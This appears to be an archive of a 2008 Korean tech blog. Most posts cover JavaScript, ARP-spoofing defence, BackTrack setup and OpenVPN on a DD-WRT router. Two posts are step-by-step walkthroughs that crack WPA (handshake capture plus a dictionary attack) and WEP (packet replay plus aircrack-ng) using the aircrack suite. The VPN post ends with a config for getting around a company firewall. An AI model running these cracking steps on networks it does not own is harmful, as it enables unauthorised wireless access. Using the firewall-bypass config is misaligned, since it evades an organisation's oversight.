2008년 7월 22일

javascript window.onload function 사용하기

window.onload() *js 파일을 삽입하고 특정 함수들이 페이지가 로딩되고 난 후 실행되도록 할때 쓰이는 함수이다.

사실 함수는 간단하지만 잘못쓰는경우 동작을 안하는 경우가 많다.

아래처럼 쓰도록 하자...

window.onload=function()
{
실행함수();
}

2008년 7월 17일

arp spoofing 확인 및 방어(static type)

arp table을 확인 현재 gateway의 mac address를 확인한다


arp spoofing공격이 시도되면 mac address가 변경된것을 확인 할 수 있다.


arp table에서 gateway entry 속성을 변경 dynamic에서 static로 변경한다.
- 이렇게 하면 단순한 arp spoofing은 막을수 있다.


dynamic Type으로 원상복구한 화면이다.

2008년 7월 16일

WPA crack backtrack3

Backtrack3가 정식 release된뒤로 계속 post하고 있습니다.

airodump로 wpa를 사용하는 대상 ap를 검색합니다.

airodump-ng rausb0


찾은 ap와 client의 4way handshake를 dump합니다.
Client의 접속을 기다려야 됩니다.

airodump-ng --channel 2 --bssid target_ap_mac --write weak-net rausb0


WPA handshake가 포착되었다면.. 좋은 사전파일을 준비하여 aircrack-ng로 ditionary attack을 실시합니다.
aricrack-ng -w D8.DIC weak-net-01.cap


최종적으로 WPA-key를 찾았습니다.



2008년 7월 15일

backtrack3에 openoffice설치

Openoffice를 다운받는다.


압축을 푼다.

bt tmp # tar -xzvf OOo_2.4.0_LinuxIntel_install_ko.tar.gz

압축푼 폴더로 이동
cd OOH680_m12_native_packed-1_ko.9286/

rpm디렉토리로 이동
cd RPMS/

rpm을 패키지파일로 변경
rpm2tgz *.rpm

tgz파일을 인스톨
installpkg *.tgz

cd /opt/openoffice.org2.4/program/

실행
soffice

kde의 메뉴편집기에 등록

kde아이콘 오른쪽 버튼에 메뉴편집기 선택
이름 : office
명령 : /opt/openoffice.org2.4/program/soffice
work path : /opt/openoffice.org2.4/program



실행화면

2008년 7월 13일

Webkey hacking

Webkey hacking하기

webkey를 해킹하는 방법은 생각보다 간단하다.
테스트는 반드시 본인의 AP로만 하도록 하고, 아래 기술된 내용은 반드시 학습목적으로만 사용하도록 하자.

준비 : Backtrack3

1단계
Scan AP






-무선랜카드를 확인한다. 여기서는 rausb0이다. 모드를 monitor로 변경해서 scan하자
※ KISMET을 실행시켜서 모드를 변경할 수 있다.(필자의 lan카드는 wusb54g이다. usb랜카드이며 vmware에서도 지원하고 backtrack에서도 HCL리스트에 좋은 랜카드로 소개되어 있다.)

kismet –c rt2500,rausb0,rt
※ 일반적으로 kismet 실행시킬때는 위와 같이 source를 잘 지정해주어야 한다.



관련파일들은 현재 디렉토리 밑에 저장된다. Kismet~.csv라는 파일을 본다.




알아보기 쉽게 Kwrite로 열었다.


kismet dump는 아래처럼 ESSID;BSSID;Info;Channel;Cloaked;Encryption 순서대로 나와있다.
여기서 WEP키를 사용하는 jihyun이라는 AP를 대상으로 삼겠다(필자의 테스트용 AP이다)


이제 패킷을 모을 준비를 하자

airodump-ng -c 채널명 --bssid AP의 MAC -w 캡쳐파일위치 rausb0

airodump-ng -c 2 --bssid 00:18:84:19:4B:7D -w /root/0712 rausb0





*open시스템인지 확인한다.
aireplay-ng -1 0 -e jihyun -a 00:18:84:19:4B:7D -h 00:1E:E5:A3:BC:BB rausb0


*replay패킷을 보낸다.

aireplay-ng -3 -b 00:18:84:19:4B:7D -h 00:1E:E5:A3:BC:BB rausb0


*Packet을 gathering한다 128bit는 최소 60000 IV정도를 수집해야 한다.

패킷수집이 다 되었다.
*capture된 패킷을 가지고 aircrack-ng를 이용해 key를 찾는다.

aircrack-ng /root/0712-01.cap
실재 webkey와 일치한다.
Successful!




Backtrack3에서의 한글사용

backtrack3가 정식으로 출시되었다. 아래 링크에서 받을수 있다.

http://www.remote-exploit.org/backtrack_download.html

slackware기반의 깔끔한 livecd이며 각종 pen testing tool들이 가득하며, 이번버전에는 vmware 이미지 까지 같이 출시해서 따로 guest os로 인스톨하는 수고를 덜어 주었다. 그런데, 이 backtrack이 나온 지 얼마 안된livecd이기 때문에.. 한글화 되어있지 않고 관련 정보도 없다. backtrack은livecd로 주로 사용하고.. 작업도중 web검색등은 필요한 경우도 있을텐데 한글이 되지 않으므로 작업 시 불편함이 많다. 그래서. slackware와 slax한글 패키지를 이용해서 한글 입출력을 가능하게 해봤다. 이제 backtrack도 한글화 해서 불편 없이 쓰도록 하자.
Livecd로 사용할때는 첨부의 파일을 /Bt/modules로 카피하여 boot module로 등록하면 되고 나 같은 경우는 vmware image로 사용하고 있기 때문에 실제로 install해야 한다. 앞으로는 backtrack3를 계속 vmware상에서 사용할 것이기 때문에 vmware와 관련된 내용도 많이 올릴 것이다. 여기서 잠깐 vmware에 대해서 집고 넘어가보겠다.. vmware를 조금만 잘 이용해 보면 정말 유용한 도구로 바꾸어서 사용할 수 있다. VMWARE의 강력함은 단순히 가상화를 통한 타 OS를 쓸수 있는 것 뿐이 아니다. 여러가지 OS를 real과 virtual Network를 통해 구성할 수 있다는 점이다. 이 장점을 이용하면. 실재로 방화벽 및 프락시등을 포함한 간단한 중소기업 인프라 정도는 구축할 수 있다. 필자는 vmware-server버전으로 20대정도로 구성된 인프라 를 구축해 본적이 있다. 조금 버벅 거리긴 하지만. 잘 customizing한다면 훌륭한 test bed로 사용할 수 있다.

각설하고 backtrack에서 한글 입출력을 가능하도록 관련 패키지를 설치하겠다. 여기서는 lzm(slax boot모듈)과 iinstall패키지를 사용하고 slackware의 iinstall패키지는 installinstall, removeinstall 명령으로 바로 backtrack에서 사용할 수 있다.
한글입력에는 scim을 사용하는데 backtrack3에는 기본적으로 locale이 C와 POSIX밖에 없다. 이부분 때문에 조금 삽질했는데. 기존의 lzm모듈을 설치하는 명령어 하나로 끝냈다.

Part1패키지준비
우선 시작하기 전에 아래의 패키지가 필요하다.

윈도우상으로 받아놓고 mount해서 윈도우 공유폴더로 접근해도 될것이다. 물론 backtrack에서 바로 다운로드 해도 된다.

mount명령
mount.cifs //192.168.0.***/share /mnt/share –o username=userid

폰트
arita-ttf-1.0-noarch-2han.lzm
alee-fonts-ttf-11[1].5-noarch-1han.tgz
unfonts-ttf-1[1].0.1-noarch-4han.tgz

scim관련
scim-1.4.7-i486-13han.lzm
scim-hangul-0.3.1-i486-1han.lzm
libhangul-0.0.5-i686-1.lzm

KDE한글화
kde-i18n-ko-3.5.7-noarch-1.lzm

한글 로케일
locale_ko.lzm

part2 – 패키지 설치

2-1.
lzm2dirarita-ttf-1.0-noarch-2han.lzm /
installpkgalee-fonts-ttf-11[1].5-noarch-1han.tgz
installpkgunfonts-ttf-1[1].0.1-noarch-4han.tgz

2-2.
lzm2dir scim-1.4.7-i486-13han.lzm /
lzm2dir scim-hangul-0.3.1-i486-1han.lzm /
lzm2dir libhangul-0.0.5-i686-1.lzm /

2-3.
lzm2dir kde-i18n-ko-3.5.7-noarch-1.lzm /

2-4.
lzm2dir locale_ko.lzm /

Part3 Verification

우선 /etc/profile.d/lang.sh를 확인해보자 ’export LANG=ko_KR’과LC=’ko_KR’ 로 되어있는지 보자.
나중에 글자가 올바르게 표시되지 않는다면 이부분을 ko_KR.utf8 또는 ko_KR.euckr로 바꾸어 보자.

locale명령을 통해 locale에 한글 로케일이 추가 되었는지 확인해 보자
locale -a 를 통해 현재 사용가능한 locale가 무엇인지도 확인할 수 있다.


firefox의 글자체를 조정해 보자.

backtrack3

2008년 6월 29일

DD-WRT에 openvpn 서비스 설치하기 - PKI방식

Prepared by ChangHunLee KPMG IT Advisory Service.
Date : 2008-06-28

Part1 openvpn with PKI
DD-Wrt로 핵펌된 라포네라에 openvpn서비스를 실행하여 외부에서 내부망을 접속하거나 내부망의 Gateway를 이용해서 다양한(?) 응용을 할 수 있다.
물론 openvpn을 용량이 4mega인 linksys wrt54g에도 서비스 할수 있다. 하지만 이경우는 PKI방식을 사용할 경우 startup script에 대해 용량문제가 발생할수 있다.

**주의: 반드시 작업을 하기 전에 공유기의 NTP 서버와 PC의 NTP 서버를 맞추여야 한다. 그렇지 않으면 인증오류가 난다.

Part1-1. Jffs2 Enable
Openvpn 패키지 설치 전에는 반드시 jffs2 파티션을 활성화해서 공간을 확보한다.
dd-wrt의 웹 관리 화면의 administration에 보면 아래와 같이 jffs2 support를 enable하도록 하자. 그러면 현재 Total/Free Size가 표시된다. (Router를 reboot해야 한다.)공간이 준비가 되었으면 Openvpn관련 패키지를 설치한다.


Part1-2. openvpn 패키지 설치
우선 putty를 이용해 dd-wrt에 ssh로 접속한다.
필자는 Lafonera를 여러대 가지고 있으므로 192.168.0.102로 설정해 놓았지만 일반적으로 192.168.1.1로 접속한다. ID/패스워드는 변경하지 않았다면 root/admin 이다.
(!보안을 위해 반드시 패스워드는 변경하도록 하자.)

접속후에는 openvpn서비스에 필요한 패키지들을 설치한다.
그림에서 보면 /jffs 파티션이 생겼음을 알수 있다.

아래 명령어를 순서대로 수행해 openvpn관련 패키지를 jffs파티션에 설치한다.

cd /tmp
wget http://ipkg.k1k2.de/packages/libopenssl_0.9.8e-3_mips.ipk
ipkg -d /jffs/ install libopenssl_0.9.8e-3_mips.ipk
rm libopenssl_0.9.8e-3_mips.ipk
wget http://ipkg.k1k2.de/packages/openssl-util_0.9.8e-3_mips.ipk
ipkg -d /jffs/ install openssl-util_0.9.8e-3_mips.ipk
rm openssl-util_0.9.8e-3_mips.ipk
wget http://ipkg.k1k2.de/packages/liblzo_2.02-1_mips.ipk
ipkg -d /jffs/ install liblzo_2.02-1_mips.ipk
rm liblzo_2.02-1_mips.ipk
wget http://ipkg.k1k2.de/packages/openvpn_2.0.9-2_mips.ipk
ipkg -d /jffs/ install openvpn_2.0.9-2_mips.ipk
rm openvpn_2.0.9-2_mips.ipk
wget http://ipkg.k1k2.de/packages/openvpn-easy-rsa_2.0.9-2_mips.ipk
ipkg -d /jffs/ install openvpn-easy-rsa_2.0.9-2_mips.ipk
rm openvpn-easy-rsa_2.0.9-2_mips.ipk


Jffs를 확인해보면 용량이 줄었음을 알수 있다.


Part1-3 Openvpn Startup script만들기

vi /jffs/usr/sbin/openvpn-stop

#!/bin/sh
/usr/bin/killall -q openvpn
/usr/sbin/brctl delif br0 tap0
/jffs/usr/sbin/openvpn --rmtun --dev tap0

vi /jffs/usr/sbin/openvpn-start

#!/bin/sh
/jffs/usr/sbin/openvpn --mktun --dev tap0
/usr/sbin/brctl addif br0 tap0
/sbin/ifconfig tap0 0.0.0.0 promisc up
/jffs/usr/sbin/openvpn --config /jffs/etc/openvpn/config.conf

mkdir /jffs/etc/config/
vi /jffs/etc/config/openvpn.startup

#!/bin/sh
/jffs/usr/sbin/openvpn-stop
/jffs/usr/sbin/openvpn-start

chmod 755 /jffs/usr/sbin/openvpn-stop
chmod 755 /jffs/usr/sbin/openvpn-start
chmod 700 /jffs/etc/config/openvpn.startup


Part1-4 PKI설정하기(Key,Crt파일생성)

아래 명령어들을 실행하여 각 파일들내의 부분을 아래와 같이 변경한다.
mkdir /jffs/etc/easy-rsa/keys
vi /jffs/etc/easy-rsa/vars

주: KEY_SIZE를 2048로 하면 상당한 시간이 소요된다.

# easy-rsa parameter settings
export EASY_RSA="/jffs/etc/easy-rsa"
export KEY_CONFIG=`/jffs/usr/sbin/whichopensslcnf $EASY_RSA`export KEY_SIZE=1024



vi /jffs/usr/sbin/build-dh
. /jffs/etc/easy-rsa/vars

vi /jffs/usr/sbin/build-ca
"/jffs/usr/sbin/pkitool" --interact --initca $*



vi /jffs/usr/sbin/pkitool
. /jffs/etc/easy-rsa/vars


/jffs/usr/sbin/build-dh


/jffs/usr/sbin/build-ca


vi /jffs/usr/sbin/build-key-server
"/jffs/usr/sbin/pkitool" --interact --server $*


touch /jffs/etc/easy-rsa/keys/index.txt
echo "01" > /jffs/etc/easy-rsa/keys/serial
/jffs/usr/sbin/build-key-server VPN-Server



vi /jffs/usr/sbin/build-key
"/jffs/usr/sbin/pkitool" --interact $*


/jffs/usr/sbin/build-key VPN-Client1
/jffs/usr/sbin/build-key VPN-Client2



mkdir /jffs/etc/
mkdir /jffs/etc/openvpn/
vi /jffs/etc/openvpn/certificados.conf

*TCP로 서비스하는경우
daemon
port 443
proto tcp-server
tls-server
dh /jffs/etc/easy-rsa/keys/dh1024.pem
ca /jffs/etc/easy-rsa/keys/ca.crt
cert /jffs/etc/easy-rsa/keys/VPN-Server.crt
key /jffs/etc/easy-rsa/keys/VPN-Server.key
dev tap0
keepalive 10 60
ping-timer-rem
persist-tun
persist-key
comp-lzo
verb 3



rm /jffs/etc/openvpn/config.conf
ln -s /jffs/etc/openvpn/certificados.conf /jffs/etc/openvpn/config.conf

Part1-5 실행 및 접속하기

* 서버에서 openvpn실행
/jffs/etc/config/openvpn.startup

*참고
/jffs/usr/sbin/openvpn-stop
/jffs/usr/sbin/openvpn-start


“ps grep openvpn” 명령으로 openvpn 서비스 실행을 확인


아래의 파일을 Client로 복사합니다.(안전한 방법으로전송해야겠죠?)
"ca.crt" "VPN-Client1.crt" and "VPN-Client1.key"

아래는 Client접속 스크립트입니다.

remote IP_address_for_vpn
port 443
proto tcp-client
tls-client
ca ca.crt
cert VPN-Client1.crt
key VPN-Client1.key
dev tap0
keepalive 10 60
ping-timer-rem
persist-tun
persist-key
comp-lzo
verb 3
Openvpn-Gui로 연결하면 아래와 같이 연결됩니다.


이제 openvpn으로 외부에서 집컴퓨터의 사설망으로 접속이 가능하다.

** 만일 회사의 방화벽등을 우회하기 위해서 모든 트래픽을 openvpn을 통해서 전송하고 싶다면. 아래와 같은 client script를 사용한다. (맨아래 두줄이 다르다)

remote IP_address_for_vpn
port 443
proto tcp-client
tls-client
ca ca.crt
cert VPN-Client1.crt
key VPN-Client1.key
dev tap0
keepalive 10 60
ping-timer-rem
persist-tun
persist-key
comp-lzo
verb 3
route-gateway 192.168.0.1
redirect-gateway

감사합니다.